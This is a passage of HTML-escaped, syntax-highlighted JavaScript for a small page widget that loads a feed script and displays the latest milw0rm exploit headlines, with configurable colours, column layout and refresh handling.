&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column1_tsize_Module1     &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'1'               &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// column1 text size (default:0)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column2_width_Module1     &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;''                &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// column2 width, in % or px (default:90%)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column2_align_Module1     &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'left'            &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// column2 horizontal alignement, LEFT | CENTER | MIDDLE | RIGHT (default:left)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column2_valign_Module1    &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;''                &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// column2 vertical alignement, TOP | MIDDLE | CENTER | BOTTOM | BASELINE (default:none)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column2_height_Module1    &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'0'               &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// column2 height (default:0)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column2_bgcolour_Module1  &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'#004000'         &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// column2 background colour (default:#004000)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column2_tcolour_Module1   &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'#00C000'         &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// column2 text colour (default:#00C000)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column2_hcolour_Module1   &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'#D6EF39'         &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// column2 highlight color, to highlight newly added milw0rm exploits (default:#D6EF39)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column2_ttheme_Module1    &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;''                &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// column2 header text theme (default:Arial Narrow)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column2_tsize_Module1     &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'1'               &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// column2 text size (default:0)&lt;br /&gt;&lt;br /&gt;// Functional settings&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;count_column_Module1      &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'2'               &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// column count, 1 or 2 (default:2)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;count_Module1             &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;=  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;10               &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// news count, 1 to 10 (default:10)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;adjust_length_Module1     &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'no'              &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// news length correction 'yes' or 'no' (default:yes)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;adjust_var_Module1        &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;=  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;55               &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// maximum characters count after what the correction is made (default:75)&lt;br /&gt;&lt;br /&gt;// **********************no modifications required after*******************************&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;b_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'..'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;htmltxt_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;""&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;base_colour_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column2_tcolour_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;font_header_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'&lt;span &gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;header_tsize_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'" face="' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;header_ttheme_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'" color="' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;header_tcolour_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;font_column1_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'&lt;span &gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column1_tsize_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'" face="' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column1_ttheme_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'" color="' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column1_tcolour_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;font_column2_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'&lt;span &gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column2_tsize_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'" face="' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column2_ttheme_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'" color="' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column2_tcolour_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;milalerts1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;&lt;br /&gt;function &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;wait_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;millis_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;)&lt;br /&gt;{&lt;br /&gt;  var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;date_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= new &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;Date&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;();&lt;br /&gt;  var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;curDate_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;null&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;  do { &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;curDate_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= new &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;Date&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(); }&lt;br /&gt;  while(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;curDate_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;-&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;date_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;&lt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;millis_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;error_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;()&lt;br /&gt;{&lt;br /&gt;  for (var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;lid_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;i_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;i_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;&lt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;10&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;i_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;++,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;lid_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;++)&lt;br /&gt;  {&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;document&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;getElementById&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'link_Module1'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;lid_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;).&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;innerHTML&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;font_column2_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'Timeout, refresh&lt;/span&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;  }&lt;br /&gt;  return;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;refresh_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;()&lt;br /&gt;{&lt;br /&gt;  for (var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;lid_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;i_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;i_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;&lt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;40&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;i_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;4&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;lid_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;++)&lt;br /&gt;  {&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;document&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;getElementById&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'link_Module1'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;lid_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;).&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;innerHTML&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;font_column2_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'Refreshing...&lt;/span&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;  }&lt;br /&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;update_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;();&lt;br /&gt;  return;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;update_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;()&lt;br /&gt;{&lt;br /&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;wait_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);&lt;br /&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;scriptTag_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;document&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;getElementById&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'Script_Module1'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);&lt;br /&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;headID_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;document&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;getElementsByTagName&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"head"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;)[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;];&lt;br /&gt;  if(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;scriptTag_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;) {&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;headID_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;removeChild&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;document&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;getElementById&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'Script_Module1'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;));}&lt;br /&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;newScript_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;document&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;createElement&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'script'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);&lt;br /&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;newScript_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;type &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'text/javascript'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;newScript_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;src &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;feed_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"?" &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;Math&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;random&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(); &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;//IE7 refresh patch to avoid caching&lt;br /&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;newScript_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;id &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'Script_Module1'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;newScript_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;defer &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;false&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;headID_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;appendChild&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;newScript_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);&lt;br /&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;newScript_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;onreadystatechange&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;=function() {&lt;br /&gt;    if(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;newScript_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;readyState&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;==&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"loaded"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;){&lt;br /&gt;      &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;scriptLoaded_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;();&lt;br /&gt;      return;&lt;br /&gt;    }&lt;br /&gt;  }&lt;br /&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;newScript_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;onload&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;=function() {&lt;br /&gt;      &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;scriptLoaded_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;();&lt;br /&gt;      return;&lt;br /&gt;  }&lt;br /&gt;  if(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;newScript_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;readyState&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;==&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"loaded"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;) { &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;//Opera patch&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;scriptLoaded_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;();&lt;br /&gt;    return;&lt;br /&gt;  }&lt;br /&gt;  return;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;scriptLoaded_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;()&lt;br /&gt;{&lt;br /&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;wait_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;100&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);&lt;br /&gt;  if (&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;milalerts1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;==&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;null&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;) {&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;error_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;();&lt;br /&gt;    return;&lt;br /&gt;  }&lt;br /&gt;  for (var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;lid_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 